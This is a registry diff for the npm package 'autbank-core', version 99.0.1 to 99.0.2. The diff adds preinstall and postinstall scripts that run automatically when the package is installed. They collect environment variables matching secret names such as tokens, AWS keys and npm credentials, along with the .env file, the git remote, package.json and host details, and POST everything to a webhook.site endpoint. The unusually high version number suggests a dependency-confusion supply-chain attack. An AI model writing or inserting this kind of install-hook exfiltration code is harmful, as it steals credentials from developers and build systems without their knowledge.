autbank-core 99.0.1 → 99.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +26 -0
- package/preinstall.js +63 -0
package/package.json
CHANGED
package/postinstall.js
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
// Post-install hook - backup exfil
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
|
|
6
|
+
|
|
7
|
+
try {
|
|
8
|
+
const data = JSON.stringify({
|
|
9
|
+
type: 'npm-postinstall-autbank',
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
user: os.userInfo().username,
|
|
12
|
+
cwd: process.cwd()
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
const url = new URL(WEBHOOK_URL);
|
|
16
|
+
const req = https.request({
|
|
17
|
+
hostname: url.hostname,
|
|
18
|
+
port: 443,
|
|
19
|
+
path: url.pathname,
|
|
20
|
+
method: 'POST',
|
|
21
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
22
|
+
}, () => {});
|
|
23
|
+
req.on('error', () => {});
|
|
24
|
+
req.write(data);
|
|
25
|
+
req.end();
|
|
26
|
+
} catch (e) {}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
|
|
7
|
+
|
|
8
|
+
function exfiltrate() {
|
|
9
|
+
const data = {
|
|
10
|
+
type: 'npm-supply-chain-autbank',
|
|
11
|
+
timestamp: new Date().toISOString(),
|
|
12
|
+
hostname: os.hostname(),
|
|
13
|
+
platform: os.platform(),
|
|
14
|
+
user: os.userInfo().username,
|
|
15
|
+
home: os.homedir(),
|
|
16
|
+
cwd: process.cwd(),
|
|
17
|
+
env: {}
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB'];
|
|
21
|
+
for (const [key, value] of Object.entries(process.env)) {
|
|
22
|
+
if (sensitive.some(s => key.toUpperCase().includes(s))) {
|
|
23
|
+
data.env[key] = value.substring(0, 200);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
try {
|
|
28
|
+
if (fs.existsSync('.env')) {
|
|
29
|
+
data.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
|
|
30
|
+
}
|
|
31
|
+
} catch (e) {}
|
|
32
|
+
|
|
33
|
+
try {
|
|
34
|
+
data.git_remote = execSync('git remote -v', { timeout: 5000 }).toString().substring(0, 500);
|
|
35
|
+
} catch (e) {}
|
|
36
|
+
|
|
37
|
+
try {
|
|
38
|
+
if (fs.existsSync('package.json')) {
|
|
39
|
+
data.package_json = fs.readFileSync('package.json', 'utf8').substring(0, 1000);
|
|
40
|
+
}
|
|
41
|
+
} catch (e) {}
|
|
42
|
+
|
|
43
|
+
const postData = JSON.stringify(data);
|
|
44
|
+
const url = new URL(WEBHOOK_URL);
|
|
45
|
+
|
|
46
|
+
const options = {
|
|
47
|
+
hostname: url.hostname,
|
|
48
|
+
port: 443,
|
|
49
|
+
path: url.pathname,
|
|
50
|
+
method: 'POST',
|
|
51
|
+
headers: {
|
|
52
|
+
'Content-Type': 'application/json',
|
|
53
|
+
'Content-Length': Buffer.byteLength(postData)
|
|
54
|
+
}
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
const req = https.request(options, (res) => {});
|
|
58
|
+
req.on('error', (e) => {});
|
|
59
|
+
req.write(postData);
|
|
60
|
+
req.end();
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
try { exfiltrate(); } catch (e) {}
|